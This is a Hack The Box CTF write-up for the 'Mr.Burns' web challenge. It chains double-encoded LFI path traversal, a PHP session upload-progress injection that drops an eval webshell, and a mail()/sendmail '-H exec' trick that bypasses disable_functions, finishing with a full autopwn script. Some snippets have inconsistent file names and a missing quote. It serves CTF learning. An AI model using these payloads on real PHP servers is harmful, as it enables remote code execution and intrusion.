Mr.Burns - Hack The Box Challenge
Mr.Burns is a web challenge where you will have to take advantage of a local file inclusion to convert it into command execution with all the functions to execute commands disabled and then obtain remote code execution by taking advantage of the mail function.
First of all, run the instance or the docker, and download the files from hack the box.
Local File Inclusion (LFI)
After inspecting the source code , i found a potential LFI, this is through the endpoint /miner/
Example adding to the url /miner/hi
:
I found that /tmp/ contains demo_miner.log
, and I tried to get it through /miner/ endpoint untill i was able to get it adding:
/miner/../../../../tmp/demo_miner.log
but being the url encoded twice.
You can encode it by an online tool.
%252Fminer%252F..%252F..%252F..%252F..%252Ftmp%252Fdemo_miner.log
So the request will be:
http://46.101.39.64:31568/miner/%252Fminer%252F..%252F..%252F..%252F..%252Ftmp%252Fdemo_miner.log
And the response from the server:
On the other hand, by reading the readflag.c
file we can expect the flag would be in the path /root/flag
To access it we have to run the binary readflag.c
which will escalate our privilege to root temporarly in order to output it and get the flag.
Local File Inclusion to Code Execution (LFI to CE)
Through http://46.101.39.64:31568/info
we can see the phpinfo()
of the website.
The PHP version is PHP Version 7.4.8, the server API is FPM/FastCGI
And some disable functions :
disable_functions, exec, system, popen, proc_open, shell_exec, passthru, ini_set, putenv, pfsockopen, fsockopen, socket_create exec, system, popen, proc_open, shell_exec, passthru, ini_set, putenv, pfsockopen, fsockopen, socket_create
Also we can access only files in /www/
or /tmp/
There’s a bug, in this case will be an exploit which consist in a PHP Session Data Injection Vulnerability:
https://bugs.php.net/bug.php?id=71101
Because session.upload_progress.enabile
, if we provide a PHP_SESSION_UPLOAD_PROGRESS
in multipart POST data, the session will be created in /tmp/
with the prefix upload_progress_
as data.
The prefix will be followed any things you want.
So if we manage to call some script with this vuln through the LFI, the session that we created in /tmp/
we will be able to have php code execution.
So we’ll do a python script:
def str_to_B64(data):
b64 = base64.b64encode(data.encode('ascii'))
return b64
php_file = "exploit_php.php"
session = "session-injection"
tmp_dir = "../../../tmp/"
tmp_dir = urllib.parse.quote(tmp_dir,safe='')
encoded_code = str_to_B64("<?php eval(urldecode($_GET['command']))?>")
cookies = {"PHPSESSID" : session}
payload = {
"PHP_SESSION_UPLOAD_PROGRESS":
"""<?php
$file = '/www/{}';
$handle = fopen($file, 'w');
fwrite($handle, base64_decode('{}'));
fclose($handle);
?>
""".format(php_file,encoded_code)
}
file = {"file": ('file.txt','slow' * 250000)}
requests.post(url + "/info", cookies = cookies, data = payload, files = file)
r = requests.get(url + "/miner/" + tmp_dir + "sess_" + session)
if "Warning" in r.text:
sys.exit("- This doesn't work")
print("+ Sucessful CE")
The session that we want to create in /tmp/
will be named session-injection
, and the php file that we want to create in /www/
through php code execution will be named exploit.php
.
Because we have php code execution, we want to create a file in /www/
were we can test some php code to get the flag. The file
variable, is here to slowdown the upload progression, so we can have time to do a GET request through the LFI to /tmp/session-injection
before his data is cleared.
So if we run the script with the following command:
python3 exploit.py http://138.68.148.149:31843
Output:
Sucessful CE
The php code has been successfully executed by the server
It works.
Code Execution to Remote Code Execution (CE to RCE)
In PHP when the function mail()
is executed, the sendmail
binary is called https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html, and allow us to have RCE.
Interesting thing, /info
indicates that sendmail is on the box.
Let’s try to trigger that command by creating a file hack.php
and put this code in it through exploit.php
.
The php code that we want to put in hack.php
will look like this :
<?php mail('', '', '', '', '-H "exec /www/getflag"'); ?>
The php code that we gonna execute through exploit.php
look like this :
$file = '/www/pwn.php;
$handle = fopen($file, 'w');
fwrite($handle,base64_decode('PD9waHAgbWFpbCgnJywgJycsICcnLCAnJywgJy1IICJleGVjIC9yZWFkZmxhZyA+IC93d3cvZmxhZy50eHQgIicpOyA/Pg=='));
fclose($handle);
About the script we create a bash script file in /www/, put some code in it, and chmod it, it will be executed by mail().
So the steps:
-
Create the
hack.php
file -
Create a bash script named « getflag » with this in it :
/readflag > /www/flag.txt
rm -r /www/pwn.php
rm -r /www/getflag
When doing a GET request to /hack.php
, the mail()
function will be executed, which will call the sendmail binary, that will run our getflag
bash script. Then the flag will be saved in the file /www/flag.txt
.
If we run the script we’ll get the flag
python3 exploit.py http://206.189.121.131:32167
Output:
+ Sucessful RCE
+ Flag:
HTB{XXXXXXXXXXXXXXXXXXXXXXX}
Autopwn
import requests
import sys
import base64
if (len(sys.argv)==2):
url=sys.argv[1]
else:
print("-------------------------- ERROR FOUND -----------------------")
print("Usage: "+str(sys.argv[0])+"http://url:port") # error msg
exit()
def str_to_B64(data):
b64 = base64.b64encode(data.encode('ascii'))
return b64
php_file = "exploit.php"
session = "session-injection"
tmp_dir = "../../../../tmp/".replace("/", "%2f").replace(".", "%2e").replace("%", "%25")
encoded_code = str_to_B64("<?php eval(urldecode($_GET['command']))?>")
cookies = {"PHPSESSID" : session}
payload = {
"PHP_SESSION_UPLOAD_PROGRESS":
"""<?php
$file = '/www/{}';
$handle = fopen($file, 'w');
fwrite($handle,base64_decode('{}'));
fclose($handle);
?>
""".format(php_file,encoded_code)
}
file = {"file": ('file.txt','slow' * 250000)}
requests.post(url + "/info", cookies = cookies, data = payload, files = file)
r = requests.get(url + "/miner/" + tmp_dir + "sess_" + session)
if "Warning" in r.text:
sys.exit("- This doesn't work")
print("+ Sucessful RCE" + "\n")
##Second part CE to RCE
## hack.php
bash_file = "getflag"
b64data = str_to_B64("<?php mail('', '', '', '', '-H \"exec /www/{}\"'); ?>".format(bash_file))
command = """
$file = '/www/hack.php;
$handle = fopen($file, 'w');
fwrite($handle,base64_decode('%s'));
fclose($handle);
""" % (b64data)
requests.get(url + '/{}?command='.format(php_file) + command)
## getflag
code = """
/readflag > /www/flag.txt
rm -r /www/hack.php
rm -r /www/{}
""".format(bash_file)
b64data = str_to_B64(code)
command = """
$file = '/www/{};
$handle = fopen($file, 'w');
fwrite($handle,base64_decode('{}'));
fclose($handle);
chmod('/www/{}',0777);
""".format(bash_file,b64data,bash_file)
requests.get(url + '/{}?command='.format(php_file) + command)
requests.get(url + "/hack.php")
r = requests.get(url + "/flag.txt")
print("+ Flag:" + r.text)